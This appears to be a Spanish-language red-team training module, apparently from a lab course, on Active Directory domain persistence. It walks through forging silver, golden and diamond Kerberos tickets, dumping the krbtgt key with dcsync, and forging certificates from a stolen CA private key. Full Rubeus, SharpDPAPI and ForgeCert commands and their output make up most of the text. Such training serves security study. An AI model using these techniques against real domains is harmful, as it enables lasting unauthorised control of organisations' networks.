Domain Dominance
Domain Dominance
Una vez que un atacante logra un nivel muy alto de privilegio en el dominio, como Domain o Enterprise Admin, es muy difícil para una organización defensora recuperarse o incluso considerar el bosque como "limpio" nuevamente. Los atacantes con este acceso pueden extraer material de credenciales del dominio y usarlo para volver a obtener acceso a nivel DA en cualquier momento. La mayoría de estas credenciales nunca se cambian, lo que otorga acceso prácticamente ilimitado.
Si alguna vez has visto este chiste antes, bueno... es cierto.
Silver Tickets
Un "silver ticket" es un ticket de servicio falsificado, firmado utilizando el material secreto (claves RC4/AES) de una cuenta de computadora. Puedes falsificar un TGS para cualquier usuario a cualquier servicio en esa máquina, lo cual es útil para persistencia a corto/medio plazo. Por defecto, las contraseñas de las computadoras cambian cada 30 días, momento en el cual debes volver a obtener los nuevos secretos para continuar creando silver tickets. Tanto los silver como los golden tickets (que se verán a continuación) son falsificados, por lo que pueden ser generados en tu propia máquina e importados en tu sesión de Beacon para su uso.
Supongamos que extraemos claves Kerberos desde Workstation 1 desde un Beacon con privilegios SYSTEM.
Session : Service from 0
User Name : WKSTN-1$
Domain : DEV
Logon Server : (null)
Logon Time : 10/17/2023 10:31:24 AM
SID : S-1-5-20
* Username : wkstn-1$
* Domain : DEV.CYBERBOTIC.IO
* Password : (null)
* Key List :
des_cbc_md4 3ad3ca5c512dd138e3917b0848ed09399c4bbe19e83efe661649aa3adf2cb98f
des_cbc_md4 5192c07ee06e9264f0a7d7af5e645448
des_cbc_md4 5192c07ee06e9264f0a7d7af5e645448
des_cbc_md4 5192c07ee06e9264f0a7d7af5e645448
des_cbc_md4 5192c07ee06e9264f0a7d7af5e645448
des_cbc_md4 5192c07ee06e9264f0a7d7af5e645448
En tu máquina atacante con Windows, utiliza Rubeus para falsificar un ticket de servicio para nlamb y el servicio CIFS.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:3ad3ca5c512dd138e3917b0848ed09399c4bbe19e83efe661649aa3adf2cb98f /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGS
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : C9E598CD2A9B08FE31936F2C1846A8365D85147F75B8000CBC90E3C9DE50FCC7
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : wkstn-1.dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'nlamb' to 'cifs/wkstn-1.dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 10:49:41 AM
[*] StartTime : 9/9/2022 10:49:41 AM
[*] EndTime : 9/9/2022 8:49:41 PM
[*] RenewTill : 9/16/2022 10:49:41 AM
[*] base64(ticket.kirbi):
doIFXD[...]MuaW8=
Luego importa el ticket.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[-] could not open \\wkstn-1.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5668
[+] Ticket successfully imported!
[+] LUID : 0x423091
beacon> steal_token 5668
[+] Impersonated DEV\bfarmer
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
[*] Listing: \\wkstn-1.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 08:17:30 $Recycle.Bin
dir 08/15/2022 22:22:31 $WinREAgent
dir 01/27/2022 18:18:49 Documents and Settings
dir 12/07/2019 09:14:52 PerfLogs
dir 08/22/2022 00:15:03 Program Files
dir 10/06/2021 13:57:25 Program Files (x86)
dir 09/08/2022 13:58:46 ProgramData
dir 08/17/2022 17:52:54 Recovery
dir 09/06/2022 08:17:28 System Volume Information
dir 08/16/2022 08:15:58 Users
dir 09/09/2022 10:38:50 Windows
8kb fil 09/09/2022 08:37:00 DumpStack.log.tmp
796mb fil 09/09/2022 08:37:00 hiberfil.sys
704mb fil 09/09/2022 08:37:00 pagefile.sys
16mb fil 09/09/2022 08:37:00 swapfile.sys
Aquí tienes algunas combinaciones útiles de tickets.
| Technique | Required Service Tickets |
|---|---|
| psexec | HOST & CIFS |
| winrm | HOST & HTTP |
| dcsync (DCs only) | LDAP |
Golden Tickets
Un "golden ticket" es un TGT falsificado, firmado por la cuenta krbtgt del dominio. Mientras que un silver ticket puede ser utilizado para hacerse pasar por cualquier usuario, está limitado ya sea a ese único servicio o a cualquier servicio pero en una sola máquina. Un golden ticket puede ser utilizado para hacerse pasar por cualquier usuario, en cualquier servicio, en cualquier máquina del dominio; y para empeorar las cosas, las credenciales subyacentes nunca se cambian automáticamente. Por esa razón, el hash NTLM/AES de krbtgt es probablemente el secreto más poderoso que puedes obtener (y es por eso que se utiliza con tanta frecuencia en los ejemplos de dcsync).
Un método común para obtener el hash de krbtgt es utilizar dcsync desde el contexto de un domain admin.
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
El ticket puede ser falsificado offline utilizando Rubeus.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'nlamb@dev.cyberbotic.io'
[*] AuthTime : 9/9/2022 11:16:23 AM
[*] StartTime : 9/9/2022 11:16:23 AM
[*] EndTime : 9/9/2022 9:16:23 PM
[*] RenewTill : 9/16/2022 11:16:23 AM
[*] base64(ticket.kirbi):
doIFLz[...]MuaW8=
Y luego importado en una sesión de inicio de sesión para su uso.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5060
[+] Ticket successfully imported!
[+] LUID : 0x449047
beacon> steal_token 5060
beacon> run klist
#0> Client: nlamb @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc-2.dev.cyberbotic.io\c$
[*] Listing: \\dc-2.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:44:08 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 16:09:55 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 10:51:51 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/05/2022 17:17:48 ProgramData
dir 08/15/2022 15:23:23 Recovery
dir 08/16/2022 12:37:38 Shares
dir 09/05/2022 12:03:43 System Volume Information
dir 08/15/2022 15:24:39 Users
dir 09/06/2022 15:21:25 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
1kb fil 08/15/2022 16:16:13 dc-2.dev.cyberbotic.io_sub-ca.req
12kb fil 09/05/2022 07:25:58 DumpStack.log
12kb fil 09/09/2022 09:36:12 DumpStack.log.tmp
384mb fil 09/09/2022 09:36:12 pagefile.sys
Diamond Tickets
Al igual que un golden ticket, un diamond ticket es un TGT que puede ser utilizado para acceder a cualquier servicio como cualquier usuario. Un golden ticket se falsifica completamente offline, se cifra con el hash de krbtgt de ese dominio y luego se pasa a una sesión de inicio de sesión para su uso. Debido a que los controladores de dominio no rastrean los TGTs que han emitido legítimamente, aceptarán felizmente TGTs que estén cifrados con su propio hash de krbtgt.
Por lo tanto, una táctica posible para detectar el uso de golden tickets es buscar TGS-REQs que no tengan un AS-REQ correspondiente. Un "diamond ticket" se crea modificando los campos de un TGT legítimo emitido por un DC. Esto se logra solicitando un TGT, descifrándolo con el hash de krbtgt del dominio, modificando los campos deseados del ticket y luego volviéndolo a cifrar. Esto supera la limitación mencionada anteriormente de un golden ticket porque cualquier TGS-REQ tendrá un AS-REQ precedente.
Primero, probamos que no tenemos acceso al DC.
beacon> getuid
[*] You are DEV\bfarmer
beacon> ls \\dc-2.dev.cyberbotic.io\c$
[-] could not open \\dc-2.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
Los diamond tickets pueden ser creados con Rubeus.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
donde:
/tgtdelegutiliza el Kerberos GSS-API para obtener un TGT utilizable para el usuario actual sin necesidad de conocer su contraseña, hash NTLM/AES o elevación en el host./ticketuseres el nombre de usuario del usuario a suplantar./ticketuserides el RID de dominio de ese usuario./groupsson los RIDs de grupo deseados (512 siendo Domain Admins)./krbkeyes el hash AES256 de krbtgt.
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFgz [...snip...] MuSU8=
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIFYj [...snip...] MuSU8=
Rubeus describe ahora mostrará que este es un TGT para el usuario objetivo.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8=
[*] Action: Describe Ticket
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 7/7/2022 8:41:46 AM
EndTime : 7/7/2022 6:41:46 PM
RenewTill : 1/1/1970 12:00:00 AM
Flags : name_canonicalize, pre_authent, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : jp4k3G5LvXpIl3cuAnTtgLuxOWkPJIUjOEZB5wrHdVw=
Forged Certificates
En organizaciones grandes, los roles de AD CS están instalados en servidores separados y no en los domain controllers (DC) propiamente dichos. Muchas veces, tampoco se tratan con la misma sensibilidad que los DCs. Por lo tanto, mientras que solo los Enterprise Admins (EAs) y Domain Admins (DAs) pueden acceder/gestionar los DCs, roles de "nivel inferior" como los administradores de servidores pueden acceder a los CAs. Aunque esto puede verse como una escalación de privilegios, es igual de útil como un método de persistencia en el dominio.
Obtener acceso como administrador local a un CA permite a un atacante extraer la clave privada del CA, la cual puede ser utilizada para firmar un certificado falsificado (piénsalo como el hash de krbtgt siendo capaz de firmar un TGT falsificado). El período de validez predeterminado para una clave privada de CA es de 5 años, pero esto puede configurarse a cualquier valor durante la instalación, a veces hasta 10 años o más.
Una vez dentro de un CA, SharpDPAPI puede extraer las claves privadas.
beacon> run hostname
dc-2
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine
Guarda la clave privada y el certificado en un archivo .pem y conviértelo a un .pfx con openssl. Luego, construye el certificado falsificado con ForgeCert.
PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123
CA Certificate Information:
Subject: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Issuer: CN=ca, DC=cyberbotic, DC=io
Start Date: 8/15/2022 4:06:13 PM
End Date: 8/15/2024 4:16:13 PM
Thumbprint: 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Serial: 13000000046EF818036CF8C99F000000000004
Forged Certificate Information:
Subject: CN=User
SubjectAltName: nlamb@cyberbotic.io
Issuer: CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Start Date: 10/5/2022 1:24:23 PM
End Date: 10/5/2023 1:24:23 PM
Thumbprint: 0CF404F5D1534854BA5EDEC5953ED7B7BE96C3A8
Serial: 00978D5E506AE605589E43F21D17E56671
Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123'
Aunque puedes especificar cualquier SubjectAltName, el usuario debe estar presente en AD. Ahora podemos usar Rubeus para solicitar un TGT legítimo con este certificado falsificado.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap
No estamos limitados a falsificar certificados de usuario; podemos hacer lo mismo para máquinas. Combina esto con el truco S4U2self para obtener acceso a cualquier máquina o servicio en el dominio.

